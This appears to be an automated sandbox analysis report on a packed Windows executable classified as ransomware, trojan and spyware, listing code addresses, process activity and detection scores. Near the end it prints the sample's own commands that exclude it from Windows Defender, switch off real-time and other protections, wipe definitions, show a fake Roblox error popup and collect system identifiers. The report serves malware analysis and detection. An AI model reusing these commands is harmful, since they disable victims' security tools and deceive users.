Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080B9D0C	97_2_00007FF7080B9D0C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF70809DD04	97_2_00007FF70809DD04
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080C0D20	97_2_00007FF7080C0D20
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D9D74	97_2_00007FF7080D9D74
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080E1DCC	97_2_00007FF7080E1DCC
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF70809EE08	97_2_00007FF70809EE08
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A1E04	97_2_00007FF7080A1E04
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080DAE50	97_2_00007FF7080DAE50
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080EFE74	97_2_00007FF7080EFE74
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A8E68	97_2_00007FF7080A8E68
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF70809CE84	97_2_00007FF70809CE84
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080DEEA4	97_2_00007FF7080DEEA4
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080CAF0C	97_2_00007FF7080CAF0C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF708099EFC	97_2_00007FF708099EFC
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080C5F4C	97_2_00007FF7080C5F4C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080FAF90	97_2_00007FF7080FAF90
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D4FE8	97_2_00007FF7080D4FE8
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080FDFD8	97_2_00007FF7080FDFD8
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080CC00C	97_2_00007FF7080CC00C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A3030	97_2_00007FF7080A3030
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080C8040	97_2_00007FF7080C8040
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080C0074	97_2_00007FF7080C0074
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080BC05C	97_2_00007FF7080BC05C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080F00F0	97_2_00007FF7080F00F0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080B0104	97_2_00007FF7080B0104
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D2164	97_2_00007FF7080D2164
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D81CC	97_2_00007FF7080D81CC
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080F41CC	97_2_00007FF7080F41CC
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080AE21C	97_2_00007FF7080AE21C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF70809F24C	97_2_00007FF70809F24C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080B7244	97_2_00007FF7080B7244
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080E2268	97_2_00007FF7080E2268
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D02A4	97_2_00007FF7080D02A4
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080AD2C0	97_2_00007FF7080AD2C0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080942E0	97_2_00007FF7080942E0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080E1314	97_2_00007FF7080E1314
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080E832C	97_2_00007FF7080E832C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080C0374	97_2_00007FF7080C0374
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A2360	97_2_00007FF7080A2360
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080BC3E0	97_2_00007FF7080BC3E0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D5468	97_2_00007FF7080D5468
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080BD458	97_2_00007FF7080BD458
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF70809A504	97_2_00007FF70809A504
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080BF5B0	97_2_00007FF7080BF5B0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080CF59C	97_2_00007FF7080CF59C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A8598	97_2_00007FF7080A8598
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080E260C	97_2_00007FF7080E260C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080C65FC	97_2_00007FF7080C65FC
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080E7660	97_2_00007FF7080E7660
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080F86D4	97_2_00007FF7080F86D4
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A86C4	97_2_00007FF7080A86C4
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080CA710	97_2_00007FF7080CA710
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D0710	97_2_00007FF7080D0710
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D2700	97_2_00007FF7080D2700
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A17C8	97_2_00007FF7080A17C8
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080B67E0	97_2_00007FF7080B67E0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A2890	97_2_00007FF7080A2890
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF708098884	97_2_00007FF708098884
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080E18A8	97_2_00007FF7080E18A8
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080C38E8	97_2_00007FF7080C38E8
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D190C	97_2_00007FF7080D190C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080C0904	97_2_00007FF7080C0904

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: String function: 00007FF7080D49F4 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: String function: 00007FF7080A8444 appears 48 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB1BA49570 appears 163 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB0C051E20 appears 33 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB1BA494D8 appears 35 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB1B7012B0 appears 37 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB0C1AF350 appears 67 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB1B701250 appears 42 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FF7C2662910 appears 34 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB0C1AF4E8 appears 79 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB0C02A500 appears 163 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB0C029340 appears 135 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FFB1B701630 appears 84 times
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: String function: 00007FF7C2662710 appears 104 times

Source: X9g8L63QGs.exe

Static PE information: invalid certificate

Source: rar.exe.4.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.4.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: X9g8L63QGs.exe	Binary or memory string: OriginalFilename vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1271192844.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1271975755.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1271403967.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1275978530.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000000.1270283725.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameksetup.exej% vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1273821737.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1271270845.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1270486310.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1276344196.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1270860753.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1270706843.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1270624594.000001FB29EDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1271008823.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1275806701.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000004.00000003.1271079647.000001FB29EE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe	Binary or memory string: OriginalFilename vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1714897323.00007FFB1AB13000.00000004.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1711105405.00007FFB0B9C9000.00000004.00000001.01000000.00000014.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000000.1276917721.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameksetup.exej% vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1711482875.00007FFB0BA99000.00000004.00000001.01000000.00000011.sdmp	Binary or memory string: OriginalFilenamelibsslH vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1715611009.00007FFB1BB28000.00000004.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1714669016.00007FFB167BB000.00000004.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1712549719.00007FFB0BFAA000.00000004.00000001.01000000.00000010.sdmp	Binary or memory string: OriginalFilenamelibcryptoH vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1716259793.00007FFB1D5BC000.00000004.00000001.01000000.0000000E.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1714389056.00007FFB0C8E4000.00000004.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamepython312.dll. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1712826899.00007FFB0C012000.00000004.00000001.01000000.0000000F.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1716057701.00007FFB1D34C000.00000004.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1715396794.00007FFB1BA58000.00000004.00000001.01000000.0000000D.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe, 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs X9g8L63QGs.exe
Source: X9g8L63QGs.exe	Binary or memory string: OriginalFilenameksetup.exej% vs X9g8L63QGs.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: libcrypto-3.dll.4.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9991990186771459
Source: libssl-3.dll.4.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9923211348684211
Source: python312.dll.4.dr	Static PE information: Section: UPX1 ZLIB complexity 0.99938957658917
Source: sqlite3.dll.4.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9979301292407108
Source: unicodedata.pyd.4.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9948079718246869

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winEXE@176/56@4/2

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

Code function: 97_2_00007FF7080ACAFC GetLastError,FormatMessageW,

97_2_00007FF7080ACAFC

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080AEF50 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		97_2_00007FF7080AEF50
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080DB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,		97_2_00007FF7080DB57C

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

Code function: 97_2_00007FF7080B3144 GetDiskFreeSpaceExW,

97_2_00007FF7080B3144

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7760:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8036:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4308:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7800:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2020:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8044:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7892:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1912:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7248:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6488:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2980:120:WilError_03

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

File created: C:\Users\user~1\AppData\Local\Temp\_MEI33962

Jump to behavior

Source: X9g8L63QGs.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: X9g8L63QGs.exe, 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: X9g8L63QGs.exe, X9g8L63QGs.exe, 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: X9g8L63QGs.exe	ReversingLabs: Detection: 47%
Source: X9g8L63QGs.exe	Virustotal: Detection: 67%

Source: X9g8L63QGs.exe

String found in binary or memory: /ADd$

Source: C:\Users\user\Desktop\X9g8L63QGs.exe

File read: C:\Users\user\Desktop\X9g8L63QGs.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\X9g8L63QGs.exe "C:\Users\user\Desktop\X9g8L63QGs.exe"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Users\user\Desktop\X9g8L63QGs.exe "C:\Users\user\Desktop\X9g8L63QGs.exe"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'"
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('please open roblox', 0, 'Roblox Process Not Found!', 0+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
